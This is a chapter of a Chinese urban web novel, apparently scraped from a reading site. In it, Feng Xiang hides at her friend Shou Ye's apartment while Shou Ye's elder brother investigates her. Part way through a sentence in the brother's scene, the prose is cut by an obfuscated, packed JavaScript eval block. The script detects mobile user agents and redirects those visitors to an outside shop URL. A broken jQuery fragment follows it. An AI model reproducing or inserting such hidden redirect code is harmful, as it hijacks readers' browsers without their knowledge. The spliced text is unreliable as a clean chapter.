文趣网 > 都市小说 > 不肯睡的那条鱼 > 74. 第 78 章
    守夜把沨芗带回公寓的时候,天色已经彻底暗下来了。一路上沨芗没有说话,只是缩在副驾驶座上,抱着自己那件薄薄的针织开衫,像一只被雨淋透了的小动物,蜷成一团,盯着窗外流动的街灯发呆。

    她的手机从上车开始就一直在震,像一只被关在盒子里的蝉,嗡嗡嗡,嗡嗡嗡,没有停过。她没有看,没有解锁,甚至没有把手机从包里拿出来,只是任由它在那个深棕色的帆布托特包的底部持续地震动着,像某种她无法逃避的、持续不断的指控。

    进了公寓之后,守夜给她倒了一杯温水,放在她面前的茶几上。沨芗坐在沙发上,双手捧着那杯水,没有喝,只是捧着,像一个溺水的人终于抓住了一块浮木,不敢松手。她的手机终于安静了几秒——然后又开始震。

    她低头,从包里掏出手机,屏幕亮得刺眼。未读消息的数字像一簇红色的火焰,烧在屏幕右上角。她划开屏幕,粗略地扫了一眼——十七通未接来电,来自不同的号码;微信未读消息的数量已经突破了四十条,联系人列表里好几个头像右上角都顶着红色的数字角标。她点开最上面的几条:

    老板(陈总): “沨芗,你最近是不是跟守家的人有什么误会?今天晚上守家那边的人来公司调了你的档案,连你的考勤记录和项目合同都复印走了。到底怎么回事?你方便回个电话吗?”

    老板(陈总): “守家在圈内的分量你是知道的。如果有什么误会,尽快解释清楚。公司这边压力很大,投资方那边也在问。”

    同事(小陆): “芗姐,今天下班的时候有几个穿黑西装的人来公司了,在人事那边待了好久,好像在查你的资料。你还好吗?有什么事需要帮忙的话你说话。”

    同事(敏姐): “沨芗,听说守家的人在查你?你惹到守远虑了?我的天,你怎么惹到那座大佛的??他平时不是脾气挺好的吗?你到底干啥了??”

    妈妈: “芗芗,刚才有几个自称是守家的人来家里了,问了一些关于你的问题,还看了你房间里的照片。你到底在外面惹了什么事?妈妈很担心你,看到消息给妈妈回个电话。”

    爸爸: “沨芗,爸爸不管你在外面做了什么,如果你需要律师,爸爸帮你联系。但你得先告诉爸爸到底发生了什么。”

    回安: “沨芗??我刚听说守家的人在查你?怎么回事??你和守夜不是好朋友吗?怎么跟她哥家扯上关系了?你还好吗?需要我过去陪你吗?”

    缐霰: “芗芗……我看到守夜大哥的人在打听你的事。我有点担心。你还好吗?如果你需要说话,我随时在。”

    沨芗看着那些消息,手指悬在屏幕上方,没有回复任何一条。她把手机翻过来扣在茶几上,屏幕朝下,像要把那些红色的角标和未读数字全部压住。然后她端起那杯水,喝了一口,放下,开口时声音沙哑,带着一种被掏空了的疲惫:“你大哥……他找到我公司了。找到我爸妈家了。他是不是要把我所有的底都翻出来才算完?”

    守夜在她对面的沙发上坐下来,没有回避这个问题,声音不高,但很稳:“他会查。但他不会把你送到警察局去。”

    沨芗愣了一下,然后哭着笑了出来。那笑声很短,带着哭腔,像一片被揉皱的纸被勉强展开时发出的声响:“那更可怕了。我宁愿他把我扔到公安局里去。我也不想面对他那种——那种压迫感。你根本不知道他今天早上站在我家门口的时候是什么样子。他什么都没说,就站在那里看着我。就那么看着。我腿都软了。”

    守夜靠在沙发靠背上,看着她,沉默了几秒,然后开口,声音里带着一丝“你自找的”和“但我还是得管你”的复杂混合:“谁让你把我哥这个老实人给惹急了。”

    沨芗没有说话。她低着头,看着自己手里那杯水的表面,沉默了很久。然后她开口,声音很轻,像在自言自语:“我没有想惹他。我真的没有。”

    守夜看着她,沉默了几秒,然后换了一种语气,比刚才软了一些,但依然带着那种“你别想糊弄我”的底色:“你是不是有什么事瞒着我?”

    沨芗的手指在杯壁上轻轻收紧了一下。她没有抬头,没有回答。客厅里安静了几秒,只有饮水机加热时发出的低低的嗡鸣声。然后她开口,声音很轻,像一片羽毛落在水面上:“我有事瞒着你。但我不知道该怎么开口。”

    守夜没有追问。她只是看着她,沉默了片刻,然后站起身来,走到沨芗面前,伸手拿过她手里那杯已经凉了一些的水,换了一杯新的热水放回她手里,然后在她旁边坐下来,声音不高,但带着一种“我不会逼你,但我会在这里”的安定感:“没关系。这几天你先住我这边。我们慢慢理清楚。”

    沨芗握着那杯新换的热水,指尖的温热透过杯壁传上来。她没有说话,只是低着头,轻轻点了一下。一滴眼泪掉进杯子里,在水面上激起一圈极细的涟漪,然后消失不见了。

    与此同时,守家老宅的书房里,灯还亮着。

    守远虑坐在书桌后面,面前的电脑屏幕上是一份刚刚接收完毕的加密邮件——沨芗的完整人事档案,包括她的身份证复印件、学历证明、过往工作经历、社保缴纳记录、银行流水,甚至包括她入职时填的那张紧急联系人表格。他逐页看完,关闭邮件

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759403|209579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,靠在椅背上,摘下眼镜,用拇指和食指捏了捏鼻梁。

    他的表情很平静,和平时在公司开会时、在家里吃饭时、在所有人面前展现出的那个“守远虑”一模一样——温和,稳重,从容,像一座永远不会倾斜的山。

    但了解他的人会注意到一个细节:他摘下眼镜之后,没有立刻戴上。他把它握在手里,拇指在镜腿上反复摩挲了两下——那是他在压制某种强烈情绪时才会做的动作。

    他很少生气。作为守家的长子,他很早就学会了把情绪收进一个看不见的抽屉里,需要的时候打开,不需要的时候关上,从不让它影响到决策和判断。他对弟弟妹妹包容,对父母孝顺,对公司负责,对合作伙伴周到——他是所有人眼中那个“永远靠得住”的守远虑。但此刻,那个抽屉的锁,正在松动。

    他没有忘记。

    异力量虽然溃散了,棋盘虽然碎了,但那些记忆没有碎。他记得自己新婚之夜醒来时看到的那张脸——不是聂清源的脸,是另一张脸。他记得自己坐在客厅里给守夜打电话时那种慌乱到近乎窒息的感觉。他记得自己发现身边的人不是自己妻子时那种像被一盆冰水从头浇到脚的清醒。

    他记得一切。而现在,他终于知道了那张脸的主人叫什么名字。沨芗。他妹妹的闺蜜。一个他见过几次、但从来没有真正留意过的女孩。一个在他眼皮底下,悄无声息地顶替了他新婚妻子的人。

    他放下眼镜,重新戴上,拿起手机。屏幕上显示着他和老周的对话框,最后一条消息是老周在几个小时前发来的:“四小姐把沨小姐带走了。说您这边她会亲自来跟您说。”他没有回复那条消息。他退出对话框,打开了另一个联系人——沨芗的老板陈总的号码。他没有打电话,只是发了一条消息,内容简短,语气克制:“陈总,今天的事多有打扰。改天登门致歉。”

    发完这条消息,他锁屏,将手机放在桌面上,然后靠在椅背上,看着书桌上那盏台灯在墙面上投下的光圈,沉默了很久。

    他的表情依然是平静的——那种暴风雨来临之前、海面异常平静的平静。他确实找到了她。他找到了她的公司,她的住址,她的父母家,她的社交账号,她的银行流水,她近三年的行程记录。他找到了一切他想找到的东西。但在他真正和她面对面坐下来、把那个问题问出口之前,这一切都只是准备工作。他从来不靠情绪做决策。他只靠事实。

    他拿起手机,又看了一眼老周最后那条消息。四小姐把沨小姐带走了。他沉默了几秒,然后放下手机,没有采取进一步的行动。不急。她跑不掉。而他——从来都是一个有耐心的人。